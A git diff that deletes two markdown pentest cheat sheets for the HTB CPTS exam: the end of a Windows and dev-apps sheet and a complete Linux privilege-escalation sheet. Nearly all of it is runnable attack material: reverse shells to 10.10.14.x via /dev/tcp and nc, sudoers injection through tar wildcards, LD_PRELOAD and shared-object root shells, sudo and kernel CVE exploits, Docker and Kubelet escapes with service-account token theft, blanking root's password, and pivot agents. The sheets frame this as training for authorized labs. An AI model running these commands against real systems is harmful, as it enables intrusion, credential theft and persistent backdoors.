; .\winPEASx64.exe # find weak service perms -> sc.exe qc VMTools # inspect a service -> sc.exe config VMTools binPath= "cmd /c net localgroup Administrators svc_x$ /add" -> sc.exe stop VMTools ; sc.exe start VMTools -> net localgroup administrators # verify -> ``` -> Also: Remote Mouse **CVE-2021-35448** (LPE), `net localgroup Administrators <user> /add` + re-login + PsExec for SYSTEM. - ---- - -## // 15 · DEV APPS (SonarQube / Anuko / Webmin) - -> [!terminal]+ SonarQube 7.8 (9000) → SYSTEM -> ```bash -> # creds from sonar.properties.bak, then plugin-upload RCE -> git clone https://github.com/braindead-sec/pwnrqube -> # edit totally-benign-plugin/src/main/java/benign.java -> PowerShell revshell to pivot:4444 -> cd totally-benign-plugin && mvn clean package -> curl --user admin:<pw> -X POST -F file=@target/totally-benign-plugin-1.0.jar http://$IP:9000/api/updatecenter/upload -> curl --user admin:<pw> -X POST http://$IP:9000/api/system/restart -> ``` -> [!terminal]+ Anuko Time Tracker → creds · Webmin 1.996 (10000) → root -> ```bash -> # Anuko: admin (LaZagne DefaultPassword) -> create user -> enable Puncher plugin -> CVE-2022-24707 -> python3 Anuko-SQL-Exploit.py --username tester --password <pw> --host http://$IP \ -> --sqli "SELECT GROUP_CONCAT(login,password) FROM tt_users" -> # Webmin CVE-2022-30708 -> root revshell -> git clone https://github.com/esp0xdeadbeef/rce_webmin && cd rce_webmin -> python3 exploit.py --url http://$IP:10000 -pw <pw> -un svc_webmin -rh $LHOST -rp 4444 -> ``` - ---- - -## // QUICK HASHCAT MODES - -| Hash | Mode | -|------|------| -| NetNTLMv2 (Inveigh/Responder) | 5600 | -| Kerberoast TGS | 13100 | -| AS-REP | 18200 | -| NTLM raw | 1000 | -| MD5 (web DB) | 0 | -| KeePass | 13400 | - ---- - -## // REFERENCES - -> [!info]+ -> Source: **CPTS Writeup by Red Block** (trilocor.local). Companion: [CPTS-Exam-Attack-Flow](/sheets/pentest-workflow/cpts-exam-attack-flow) · [Attack-Flow-Guide](/sheets/pentest-workflow/attack-flow-guide) · [Most-Used-Commands](/sheets/pentest-workflow/most-used-commands). - ---- - -#Command-Reference #Cheatsheet #CPTS-Prep #CPTS-Exam #AD #Pivoting #HTB diff --git a/src/content/sheets/pentest-workflow/linux-privesc-cpts.md b/src/content/sheets/pentest-workflow/linux-privesc-cpts.md @@ -1,619 +0,0 @@ ---- -title: "Linux Privilege Escalation — CPTS Cheat Sheet" -description: "Updated CPTS field reference for linux privilege escalation — cpts cheat sheet." -category: pentest-workflow -subcategory: "General CPTS Cheatsheets" -order: 27 -tags: ["htb", "cpts", "privesc", "linux", "postexploitation", "pentest-workflow"] -tools: ["LinPEAS (linpeas.sh / linpeas_linux_amd64) / lse.sh / LinEnum", "pspy (pspy64 / pspy32)", "linux-exploit-suggester", "GTFOBins", "gcc", "kubeletctl / kubectl", "deepce", "chisel / ligolo-ng"] -difficulty: intermediate -updated: "2026-08-29" -source: "vault:Pentest Attack Flow/General Pentest Cheatsheets/03 - Linux Privilege Escalation - CPTS Cheat Sheet.md" ---- -# Linux Privilege Escalation — CPTS Cheat Sheet `fas:ClipboardList` - -> [!dashboard] Workflow navigation -> **Dashboard:** [HTB Pentest Workflow](/sheets/pentest-workflow/attacking-common-modules-dashboard) · **Previous:** [Common Applications](/sheets/pentest-workflow/attacking-common-applications) -> -> **Next:** [Windows PrivEsc](/sheets/pentest-workflow/windows-privesc-cpts) · **Simple appendix:** Linux PrivEsc Cheat Sheet -> -> **Source module:** 25 · Linux Privilege Escalation · **Attack-flow stage:** [12 - Stage 09 - Privilege Escalation](/sheets/pentest-workflow/privilege-escalation) - -## Summary `ris:Eye` - -From a low-privilege shell to `root`. The loop is always the same: **enumerate broadly → identify the one vector → exploit it precisely.** Kick off the bundled automated enum (§0) in the first minutes, then work the vectors manually. Prefer the least-invasive path (SUID/capability/sudo misconfig) over a kernel exploit, which can panic the box. This card walks the module's vectors: initial situational awareness, cron/scheduled-task abuse, credential hunting, restricted-shell escape + env-var abuse, sudo & privileged-group abuse, Docker/Kubernetes escapes, kernel/SUID/SGID/capabilities, and the "remaining" library-hijack/NFS/tmux/logrotate vectors — then turning the rooted host into a pivot. - -> [!danger]+ HTB-Only Boundary -> `fas:TriangleExclamation` -> 1. Authorized labs/engagements only. **Kernel exploits (esp. CVE-2022-25636) can corrupt the kernel / force a reboot** — get sign-off; prefer SUID/cap/sudo paths. -> 2. When weaponising a script a root job runs, **append, never overwrite, and keep a backup** so the legitimate task still completes. -> 3. Clean up droppers (`/tmp/sh`, fake `.so`/`.py`, rogue SUID binaries) — they're live local backdoors. - -> [!tip]+ Live command libraries -> - **[GTFOBins](https://gtfobins.org/)** — search a Linux/Unix binary, then select the function that matches the real context: `sudo`, SUID, capabilities, shell, file read/write or another permitted primitive. -> - **[WADComs](https://wadcoms.github.io/)** — command-focused Windows and Active Directory companion for later lateral-movement or cross-platform work. -> - **[LOLBAS](https://lolbas-project.github.io/)** — Windows-native binary, script and library companion. -> -> A listed binary is not automatically exploitable. Match the page's required permissions and invocation to `sudo -l`, SUID/capability state, file ACLs and installed version. - -<figure class="flow plate corners"> - <figcaption class="flow__cap"><span class="flow__kind">Linux privesc methodology</span><span class="flow__dir">LR</span></figcaption> - <div class="flow__body"> - <div class="flow__diagram" data-dir="lr"> - <div class="flow-rank"><div class="flow-node is-entry">whoami / id / sudo -l<span class="sub">uname -a</span></div></div> - <div class="flow-edge"></div> - <div class="flow-rank"><div class="flow-node">Run LinPEAS / lse.sh<span class="sub">+ pspy for timing</span></div></div> - <div class="flow-edge"></div> - <div class="flow-rank"><div class="flow-node is-decision">Vector?</div></div> - <div class="flow-edge"></div> - <div class="flow-rank"> - <div class="flow-node">sudo/GTFOBins · groups<span class="sub">(lxd/docker/disk)</span></div> - <div class="flow-node">cron / writable script<span class="sub">/ PATH / wildcard</span></div> - <div class="flow-node">SUID-SGID / capability<span class="sub">/ SO hijack</span></div> - <div class="flow-node is-danger">kernel CVE (last resort)</div> - </div> - <div class="flow-edge"></div> - <div class="flow-rank"><div class="flow-node is-goal">root</div></div> - <div class="flow-edge"></div> - <div class="flow-rank"><div class="flow-node">pivot host<span class="sub">chisel / ligolo-ng</span></div></div> - </div> - </div> -</figure> - ---- - -## 0 · Automated enum — run these first `fas:Bolt` - -Bundled, hash-checked copies live in `attachments/` — no internet needed on the target. Transfer, verify, run, and **tee the output** so you can re-grep it after the scrollback is gone. - -> [!important]+ Automated enum — run these first -> `fas:Bolt` -> 1. **LinPEAS script** — `[linpeas.sh](/downloads/pentest-workflow/linpeas.sh) ([SHA-256](/downloads/pentest-workflow/linpeas.sh.sha256) · [GPG signature](/downloads/pentest-workflow/linpeas.sh.sha256.asc))` -> ```bash -> chmod +x linpeas.sh && ./linpeas.sh -a | tee linpeas.out -> ``` -> `-a` runs all checks (noisier and slower — worth it in a lab). Expect noise; afterwards grep the `[+]` sections and the red/yellow highlights instead of reading top to bottom. -> 2. **LinPEAS static binary** — `[linpeas_linux_amd64](/downloads/pentest-workflow/linpeas_linux_amd64) ([SHA-256](/downloads/pentest-workflow/linpeas_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/linpeas_linux_amd64.sha256.asc))` — for minimal targets where the script chokes (no bash/coreutils, weird BusyBox). `chmod +x linpeas_linux_amd64 && ./linpeas_linux_amd64 | tee linpeas.out`. -> 3. **pspy** — `[pspy64](/downloads/pentest-workflow/pspy64) ([SHA-256](/downloads/pentest-workflow/pspy64.sha256) · [GPG signature](/downloads/pentest-workflow/pspy64.sha256.asc))` (or `[pspy32](/downloads/pentest-workflow/pspy32) ([SHA-256](/downloads/pentest-workflow/pspy32.sha256) · [GPG signature](/downloads/pentest-workflow/pspy32.sha256.asc))` on 32-bit targets): -> ```bash -> ./pspy64 -pf -i 1000 -> ``` -> Watches every process + filesystem events **without creds** — `UID=0` lines are root jobs. This is how you catch the cron jobs and timers §2 describes that `crontab -l` never shows you. Leave it running in a second pane while you enumerate. -> -> Run all three in parallel: LinPEAS tee'd to a file, pspy live, and manual `sudo -l` / SUID / `getcap` checks while they churn. - -**Transfer methods reminder:** -```bash -# attacker -python3 -m http.server 8000 - -# target -wget http://10.10.14.3:8000/linpeas.sh -O /tmp/linpeas.sh -curl -o /tmp/pspy64 http://10.10.14.3:8000/pspy64 - -# or, with SSH creds -scp linpeas.sh pspy64 user@$IP:/tmp/ -``` - -**Hash check** — verify staged binaries against `[SHA256SUMS](/downloads/pentest-workflow/SHA256SUMS) ([GPG signature](/downloads/pentest-workflow/SHA256SUMS.asc))` before executing: -```bash -sha256sum linpeas.sh linpeas_linux_amd64 pspy64 -grep -E 'linpeas|pspy' SHA256SUMS.txt # eyeball-compare, or: -sha256sum --ignore-missing -c SHA256SUMS.txt # OK / FAILED per file -``` - ---- - -## 1 · Initial enumeration `fas:Terminal` - -```bash -# First five on any new shell -whoami; id; hostname; ip a; sudo -l - -# OS / kernel (feed to exploit-suggester) -cat /etc/os-release; uname -a; cat /proc/version -cat /etc/lsb-release; lscpu; cat /etc/shells - -# PATH / env / mounts / net -echo $PATH; env -lsblk; cat /etc/fstab; route; cat /etc/hosts; arp -a - -# Users, groups, readable hashes -cat /etc/passwd; grep "sh$" /etc/passwd -cat /etc/group; getent group sudo -cat /etc/passwd | head -n1 # a real hash here (not 'x') = crack it now - -# Homes, hidden files, temp, processes, history -ls -la /home/*/ -find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null | grep <user> -ls -l /tmp /var/tmp /dev/shm -ps aux | grep root; w; lastlog; history -``` - -> [!info]+ Hash prefixes & GTFOBins candidate list -> `$1$`=MD5 · `$5$`=SHA-256 · `$6$`=SHA-512 · `$2a$`=BCrypt · `$argon2i$`=Argon2. -> ```bash -> find /usr/bin /usr/sbin /bin /sbin /usr/local/bin \ -> -maxdepth 1 -type f -executable -printf '%f\n' 2>/dev/null \ -> | sort -u | tee installed-binaries.txt -> ``` -> Search interesting names at [GTFOBins](https://gtfobins.org/), especially anything present in `sudo -l`, SUID/SGID results or `getcap -r /`. Scraping the website into a loop is brittle and loses the function-specific prerequisites shown on each entry. - -> [!tip]+ Automated enumeration -> `fas:Lightbulb` -> **LinPEAS** (run first — kernel vs exploit-DB, SUID/SGID vs GTFOBins, caps, world-writable Python/lib paths, `RUNPATH`, `no_root_squash`, creds) · **linux-smart-enumeration** (`./lse.sh -l1`, second opinion) · **pspy / pspy64** (root cron/timing without root) · **linux-exploit-suggester** (feeds `uname -r`) · **Lynis** (`./lynis audit system`). Bundled offline copies + transfer/hash-check workflow: see §0. Note active controls: AppArmor, SELinux, Fail2ban, ufw. - ---- - -## 2 · Cron & scheduled-task abuse `fas:Terminal` - -```bash -# Enumerate -ls -la /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.d/ -crontab -l -find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null # world-writable files - -# Confirm a root job live (UID=0 in output) — pspy catches jobs crontab -l never shows -./pspy64 -pf -i 1000 -``` - -**PATH abuse** — hijack an unqualified command a root cron calls: -```bash -echo $PATH -PATH=.:${PATH}; export PATH -echo 'echo "PATH ABUSE!!"' > ls && chmod +x ls -``` - -**tar wildcard injection** (cron does `tar -zcf backup.tar.gz *` in a writable dir): -```bash -echo 'echo "htb-student ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh -echo "" > "--checkpoint-action=exec=sh root.sh" -echo "" > --checkpoint=1 -# after the job fires: -sudo -l && sudo su # (root) NOPASSWD: ALL -``` - -**Writable backup script → reverse shell** (append, keep a backup): -```bash -echo 'bash -i >& /dev/tcp/10.10.14.3/443 0>&1' >> /dmz-backups/backup.sh -nc -lnvp 443 -``` - -### systemd services and timers - -Cron is not the only root scheduler. A timer activates a service, and the useful write may be in the unit, an `EnvironmentFile=`, the `ExecStart=` script, or a parent directory. - -```bash -# Find the trigger, then resolve the service it activates. -systemctl list-timers --all -systemctl list-unit-files --type=timer --type=service -systemctl cat <name>.timer -systemctl cat <name>.service -``` - -```bash -# Pull the fields that decide whether the path is exploitable. -systemctl show <name>.service \ - -p User \ - -p Group \ - -p ExecStart \ - -p EnvironmentFiles \ - -p FragmentPath -``` - -```bash -# Check unit search paths and every component of the executed path. -systemd-path systemd-system-unit -find /etc/systemd/system /usr/local/lib/systemd/system \ - -type f -writable -ls 2>/dev/null -namei -l /path/from/ExecStart -``` - -```bash -# Writable unit check — a writable .service/.timer = rewrite ExecStart= and trigger it. -find /etc/systemd/system /lib/systemd/system /usr/lib/systemd/system /run/systemd/system \ - -type f \( -name '*.service' -o -name '*.timer' \) -writable 2>/dev/null - -# If 'sudo systemctl daemon-reload' or 'sudo systemctl start <unit>' is permitted: -# reload + start fires your edited ExecStart immediately. Otherwise wait for the timer -# or the next reboot — and keep the original unit backed up either way. -``` - -> [!tip] Exploit condition -> You need a privileged unit plus a file or directory you can modify, or a permitted `sudo systemctl start/restart` action. Back up the file, preserve its legitimate behavior, record the original hash, and restore it after proving execution. - ---- - -## 3 · Credential & config hunting `fas:Terminal` - -### Application configurations - -```bash -# Start with likely app roots instead of searching the whole filesystem. -find /var/www /opt /srv /home -type f \ - \( -name 'wp-config.php' -o -name '.env' -o -name 'configuration.php' \ - -o -name 'settings.php' -o -name 'web.config' \) \ - -readable -print 2>/dev/null -``` - -```bash -# Search only readable config-like files in high-value roots. -find /etc /opt /srv /var/www /home -type f \ - \( -name '*.conf' -o -name '*.config' -o -name '*.ini' \ - -o -name '*.yml' -o -name '*.yaml' -o -name '.env' \) \ - -readable -print0 2>/dev/null | - xargs -0 grep -nIiE 'pass(word)?|secret|token|api[_-]?key|connection' 2>/dev/null -``` - -### SSH and shell history - -```bash -# SSH material and lateral targets. -ls -la ~/.ssh -sed -n '1,120p' ~/.ssh/config ~/.ssh/known_hosts 2>/dev/null -``` - -```bash -# Current history, then common database/shell history files. -history -find /home /root -type f \ - \( -name '.*history' -o -name '*_history' -o -name '*_hist' \) \ - -readable -ls 2>/dev/null -``` - -Deeper secret mining across `.git`: **trufflehog**, **gitleaks**. - -### Process environments and open descriptors - -Long-running services sometimes receive secrets through environment variables or keep deleted configuration files open. Access to another process’s `/proc/<pid>` data is permission-controlled, so only inspect entries the current identity may read. - -```bash -ps eww -u "$USER" -find /proc/[0-9]*/environ -readable -type f 2>/dev/null -``` - -```bash -for env_file in /proc/[0-9]*/environ; do - [ -r "$env_file" ] || continue - strings "$env_file" -done | - grep -Ei 'pass(word)?|secret|token|api[_-]?key|database_url|aws_' -``` - -```bash -# Deleted-but-open files and interesting descriptors. -lsof -nP 2>/dev/null | grep -i deleted -find /proc/[0-9]*/fd -lname '*deleted*' -ls 2>/dev/null -``` - ---- - -## 4 · Restricted shell escape & env-var abuse `fas:Terminal` - -Restricted shells: `rbash`/`rksh`/`rzsh`. Escape via injection, substitution, chaining (`;`/`|`), env-var modification, functions. -```bash -ls -l `pwd` # command substitution -sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh # GTFOBins escape -``` - -> [!bug]+ LD_PRELOAD (sudo `env_keep+=LD_PRELOAD`) -> `sudo -l` shows `env_keep+=LD_PRELOAD`. `root.c`: -> ```c -> #include <stdio.h> -> #include <sys/types.h> -> #include <stdlib.h> -> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); } -> ``` -> ```bash -> gcc -fPIC -shared -o root.so root.c -nostartfiles -> sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart -> ``` -> Works even against absolute-path sudoers entries. - ---- - -## 5 · Sudo rights & privileged-group abuse `fas:Terminal` - -> [!important]+ `sudo -l` is always the first check -> Run it before LinPEAS finishes scrolling. Any entry — even "boring" ones like `openssl`, `tar` or `find` — maps to a GTFOBins function. Also note `env_keep` (LD_PRELOAD, §4), `SETENV`, and `!authenticate`/`NOPASSWD`. - -```bash -sudo -l # what can I run as another user? -sudo -V | head -n1 # exact version for CVE matching -aa-status # check AppArmor before the tcpdump path -id # note groups: sudo / lxd / docker / disk / adm -``` - -**[GTFOBins](https://gtfobins.org/)** — for any binary in `sudo -l`, check the matching `sudo`, SUID, capability, shell or file-access function (e.g. `sudo find / -exec /bin/sh \; -quit`, `sudo vim -c ':!/bin/sh'`, `sudo less` → `!/bin/sh`, `awk 'BEGIN {system("/bin/sh")}'`). - -**File read via sudo — no shell required.** Anything with a read primitive leaks root files; `openssl` is the classic: -```bash -LFILE=/root/.ssh/id_rsa -sudo openssl enc -in "$LFILE" # prints root's private key to stdout -# attacker side: save it, chmod 600 id_rsa, ssh -i id_rsa root@$IP -``` - -**tcpdump `-z postrotate`:** -```bash -# /tmp/.test: -rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 443 >/tmp/f -sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root -nc -lnvp 443 # "Permission denied" in output is misleading — payload still ran -``` - -**Sudo CVEs:** -```bash -# CVE-2021-3156 (Baron Samedit) — heap overflow in sudoedit; sudo 1.8.2–1.9.5p2, -# no sudoers entry needed; target index must match /etc/lsb-release. -# Triggered via sudoedit (`sudoedit -s /` or `sudoedit -i`). -# Quick check: `sudoedit -s /` → "sudoedit: /: not a regular file" = vulnerable, usage error = patched. -git clone https://github.com/blasty/CVE-2021-3156.git && cd CVE-2021-3156 && make -./sudo-hax-me-a-sandwich # then ./sudo-hax-me-a-sandwich <index> - -# CVE-2023-22809 (sudoedit bypass) — sudo <1.9.12p2 AND a sudoedit entry in sudo -l; -# EDITOR env injection appends an arbitrary file to the allowed list. -EDITOR='vim -- /etc/sudoers' sudoedit -s /etc/hosts - -# CVE-2025-32463 ("chwoot") — sudo 1.9.14–1.9.17, no sudoers entry needed; `sudo -R <dir>` -# resolves paths inside an attacker-controlled chroot and loads a malicious nsswitch.conf → root. -sudo -V | head -n1 # 1.9.14–1.9.17 = candidate; PoC: exploit-db 52352 - -# CVE-2019-14287 (UID -1 bypass) — needs one permitted command, sudo < 1.8.28 -sudo -u#-1 id - -# CVE-2021-4034 (PwnKit / pkexec) — no sudoers/group needed -git clone https://github.com/arthepsy/CVE-2021-4034.git && cd CVE-2021-4034 -gcc cve-2021-4034-poc.c -o poc && ./poc -``` - -**LXD/LXC group** (full escape): -```bash -lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine -lxc init alpine r00t -c security.privileged=true -lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true -lxc start r00t && lxc exec r00t /bin/sh -# inside: /mnt/root/root = host /root (shadow, ssh keys) -``` -**disk** group → `debugfs /dev/sda1` reads/writes the whole FS as root. **adm** → read all `/var/log`. - ---- - -## 6 · Docker escape `fas:Terminal` - -```bash -# Bind-mounted host dir inside the container (e.g. /hostsystem) -cat /hostsystem/root/.ssh/id_rsa - -# Docker socket reachable from the container -/tmp/docker -H unix:///app/docker.sock run --rm -d --privileged -v /:/hostsystem main_app -/tmp/docker -H unix:///app/docker.sock exec -it <id> /bin/bash - -# 'docker' group on the host = root -docker run -v /root:/mnt -it ubuntu # or mount /etc for /etc/shadow - -# Writable /var/run/docker.sock (no group) — fastest host shell -docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash -``` -Enum/escape helper: **deepce**. - ---- - -## 7 · Kubernetes escape `fas:Terminal` - -Ports: etcd 2379/2380 · API server 6443 · Kubelet API 10250 · read-only Kubelet 10255. -```bash -curl https://$IP:6443 -k # system:anonymous 403 = expected -curl https://$IP:10250/pods -k | jq . # Kubelet often allows anon - -# kubeletctl — enumerate, find RCE, exec -kubeletctl -i --server $IP pods -kubeletctl -i --server $IP scan rce -kubeletctl -i --server $IP exec "id" -p nginx -c nginx - -# Steal the service-account token + CA -kubeletctl -i --server $IP exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee k8.token -kubeletctl --server $IP exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee ca.crt - -# What can this token do? then deploy a host-mounting pod -export token=$(cat k8.token) -kubectl --token=$token --certificate-authority=ca.crt --server=https://$IP:6443 auth can-i --list -kubectl --token=$token --certificate-authority=ca.crt --server=https://$IP:6443 apply -f privesc.yaml -``` -`privesc.yaml` red flags to weaponise: `hostPath: path: /` + `hostNetwork: true`; then read `/root/root/.ssh/id_rsa` from the mounted host. Recon: **kube-hunter**; compliance: **kube-bench**. - ---- - -## 8 · Kernel exploits, SUID/SGID & capabilities `fas:Terminal` - -> [!warning]+ Kernel sploits are the last resort -> `fas:TriangleExclamation` -> Work the config / service / credential paths first — a wrong kernel exploit **panics the box**, burns your shell, and reboots away your planted files. Always match `uname -r` + distro against the CVE window *before* compiling on-target: -> - **DirtyPipe (CVE-2022-0847)** — kernels **5.8–5.16.11** unpatched (fixed in 5.16.11 / 5.15.25 / 5.10.102). -> - **PwnKit (CVE-2021-4034)** — polkit `pkexec`; ~every distro shipped before Jan 2022; not kernel-version-dependent, and far less likely to panic than a kernel bug. -> - **overlayfs** — CVE-2021-3493 (Ubuntu overlayfs, pre-Apr 2021) / CVE-2023-0386 (kernels 5.11–6.2); needs unprivileged user namespaces (`sysctl kernel.unprivileged_userns_clone`). - -```bash -# Generic workflow — compile ON the target -uname -a; cat /etc/lsb-release -gcc kernel_exploit.c -o kernel_exploit && ./kernel_exploit - -# Dirty Pipe — CVE-2022-0847 (kernels 5.8–5.16.11 unpatched) -git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git -cd CVE-2022-0847-DirtyPipe-Exploits && bash compile.sh -./exploit-1 # rewrites /etc/passwd, pops root -./exploit-2 /usr/bin/sudo # hijacks a SUID binary → /tmp/sh (clean this up) -``` - -| Netfilter CVE | Kernels | Note | -|---|---|---| -| CVE-2021-22555 | 2.6–5.11 | heap OOB via setsockopt | -| CVE-2022-25636 | 5.4–5.6.10 | may corrupt kernel / reboot | -| CVE-2023-32233 | ≤6.3.1 | UAF in `nf_tables` anon sets | - -```bash -# SUID / SGID discovery -find / -perm -4000 2>/dev/null -find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null # SUID -find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null # SGID - -# Capabilities enumeration + cap_dac_override via vim -getcap -r / 2>/dev/null -find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \; -echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd # blanks root's password -``` - -Caps that lead to root: `cap_setuid`, `cap_setgid`, `cap_sys_admin`, `cap_dac_override`, `cap_dac_read_search`. Common weaponisations: - -| Capability | Seen on | Path to root | -|---|---|---| -| `cap_setuid+ep` | python / perl | `./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'` · `./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'` | -| `cap_dac_read_search+ep` | tar | `tar xf /root/root.txt -I '/bin/sh -c "cat 1>&2"'` — reads any file regardless of permissions | -| `cap_dac_override+ep` | vim | the `/etc/passwd` blank-root edit above | - -Also: **screen 4.5.0** SUID → writes `/etc/ld.so.preload` → `/tmp/rootshell`. - ---- - -## 9 · Remaining vectors `fas:Terminal` - -**Shared-object hijack (RUNPATH):** -```bash -ldd payroll; readelf -d payroll | grep PATH # RUNPATH: [/development] (world-writable = vuln) -``` -```c -// src.c — reimplement the exact undefined symbol the binary calls (e.g. dbquery) -#include<stdio.h> -#include<stdlib.h> -#include<unistd.h> -void dbquery() { printf("Malicious library loaded\n"); setuid(0); system("/bin/sh -p"); } -``` -```bash -gcc src.c -fPIC -shared -o /development/libshared.so && ./payroll -``` - -**Python library hijacking** (three flavours): -```bash -# (a) writable module file — inject os.system('id') into the real function -ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py # world-writable? -sudo /usr/bin/python3 ./mem_status.py - -# (b) path priority — drop a fake module in a higher-priority world-writable dir -python3 -c 'import sys; print("\n".join(sys.path))' -# fake psutil.py: def virtual_memory(): os.system('id') - -# (c) sudo SETENV → PYTHONPATH -sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.py -``` - - -**Writable account and policy files** — a direct path that automated scripts can bury in noise: - -```bash -ls -l /etc/passwd /etc/shadow /etc/group /etc/sudoers -for account_file in /etc/passwd /etc/shadow /etc/group /etc/sudoers; do - [ -w "$account_file" ] && printf 'WRITABLE %s\n' "$account_file" -done -``` - -> [!warning] Preserve authentication state -> A writable account database proves a critical control failure. If exploitation is required, take a timestamped backup and use a reversible test account or authorized sudoers drop-in—never blank or replace the real root credential. - -**NFS `no_root_squash`** (from an attacker box with real root): -```bash -showmount -e $IP; cat /etc/exports # /tmp *(rw,no_root_squash) -# shell.c: int main(void){ setuid(0); setgid(0); system("/bin/bash"); } -gcc shell.c -o shell -sudo mount -t nfs $IP:/tmp /mnt && cp shell /mnt && chmod u+s /mnt/shell -# on target (low-priv): ./shell -``` - -**tmux session hijack** (member of the owner's group): -```bash -ps aux | grep tmux # root ... tmux -S /shareds new -s debugsess -tmux -S /shareds # attaches to root's session -``` - -**logrotten** (writable log + logrotate 3.8.6/3.11.0/3.15.0/3.18.0): -```bash -git clone https://github.com/whotwagner/logrotten.git && cd logrotten && gcc logrotten.c -o logrotten -echo 'bash -i >& /dev/tcp/10.10.14.2/9001 0>&1' > payload -nc -nlvp 9001 & ./logrotten -p ./payload /tmp/tmp.log -``` - ---- - -## 10 · After root — pivot the host `fas:NetworkWired` - -> [!tip]+ The rooted box is a pivot, not the finish line -> `fas:NetworkWired` -> Root often exposes a second NIC or an internal subnet — check `ip a`, `ip r`, `arp -a`. Stage a pivot agent from `attachments/`: -> -> **chisel** — `[chisel_linux_amd64](/downloads/pentest-workflow/chisel_linux_amd64) ([SHA-256](/downloads/pentest-workflow/chisel_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/chisel_linux_amd64.sha256.asc))` — fast reverse SOCKS: -> ```bash -> # attacker (listens): -> chisel server -p 9001 --reverse -> # rooted target: -> ./chisel_linux_amd64 client 10.10.14.3:9001 R:socks -> # attacker: socks5 on 127.0.0.1:1080 → proxychains nmap 10.129.x.0/24 -> ``` -> -> **ligolo-ng** — `[ligolo-ng_agent_linux_amd64.tar.gz](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256.asc))` — full routed interface (better for scanners that dislike SOCKS): -> ```bash -> # attacker: ./proxy -selfcert -laddr 0.0.0.0:11601 -> # target: ./agent -connect 10.10.14.3:11601 -ignore-cert -> # attacker (proxy console): session → ifcreate → start, then add a route to the internal subnet -> ``` -> -> Enumerate the new segment's services with [Sheet 01](/sheets/pentest-workflow/attacking-common-services), and get a stable shell first if the agent keeps dropping — [Sheet 06](/sheets/pentest-workflow/tty-upgrades-and-restricted-shells). - ---- - -## CVE quick index `ris:GlobalLine` - -| CVE | Component | Prereq | Tool | -|---|---|---|---| -| CVE-2021-4034 (PwnKit) | polkit `pkexec` | none | `arthepsy/CVE-2021-4034` | -| CVE-2021-3156 (Baron Samedit) | sudoedit 1.8.2–1.9.5p2 | none | `blasty/CVE-2021-3156` | -| CVE-2023-22809 | sudoedit <1.9.12p2 | sudoedit entry in `sudo -l` | EDITOR env injection | -| CVE-2025-32463 ("chwoot") | sudo 1.9.14–1.9.17 | none | exploit-db 52352 | -| CVE-2019-14287 | sudo <1.8.28 | 1 sudoers entry | `sudo -u#-1` | -| CVE-2022-0847 (Dirty Pipe) | kernel 5.8–5.16.11 | none | DirtyPipe-Exploits | -| CVE-2023-0386 | overlayfs, kernel 5.11–6.2 | unpriv. userns | PoC on GitHub | -| CVE-2021-22555 | kernel 2.6–5.11 | none | google/security-research PoC | -| CVE-2016-5195 (Dirty COW) | kernel <4.8 | none | dirtycow PoC | - ---- - -## Lessons Learned & gotchas `fas:Lightbulb` - -1. **Enumerate before you exploit.** LinPEAS + `sudo -l` + `find SUID` + `getcap` answers most boxes; pspy catches the timing-based ones. -2. **Automated first, but tee it.** Run the bundled `linpeas.sh` / `pspy64` (§0) in the first minutes, `tee` everything to a file, and hash-check transferred binaries against `SHA256SUMS.txt` before executing them. -3. **Least-invasive first.** SUID/capability/sudo/group beats a kernel exploit — kernels panic, and some Netfilter CVEs reboot the host. Match `uname -r` to the CVE window before compiling anything. -4. **Append, don't overwrite.** Weaponising a root-run script means adding a line and keeping the original intact, or you break the job and tip off defenders. -5. **Every credential is reusable.** Try discovered passwords against all users/services/hosts; `known_hosts` + `arp -a` are your lateral map. -6. **Clean up.** Rogue SUID binaries, fake `.so`/`.py`, `/tmp/sh`, sudoers edits — remove them all. -7. **Check 10250 even when 6443 says no.** Kubelet often allows anonymous access when the API server is locked down. -8. **Root is a beachhead.** Check for a second NIC immediately and stage chisel or ligolo-ng (§10) before the box resets. - -## References `fas:BookOpen` - -1. [HTB Academy — Linux Privilege Escalation](https://academy.hackthebox.com/module/details/51) -2. [GTFOBins](https://gtfobins.org/) · [PEASS-ng (LinPEAS)](https://github.com/carlospolop/PEASS-ng) -3. [linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester) · [pspy](https://github.com/DominicBreuker/pspy) -4. [PayloadsAllTheThings — Linux Privilege Escalation](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md) -5. [systemd unit documentation](https://www.freedesktop.org/software/systemd/man/latest/systemd.unit.html) · [Linux kernel `/proc` documentation](https://www.kernel.org/doc/html/latest/filesystems/proc.html) -6. [HackTricks — Linux 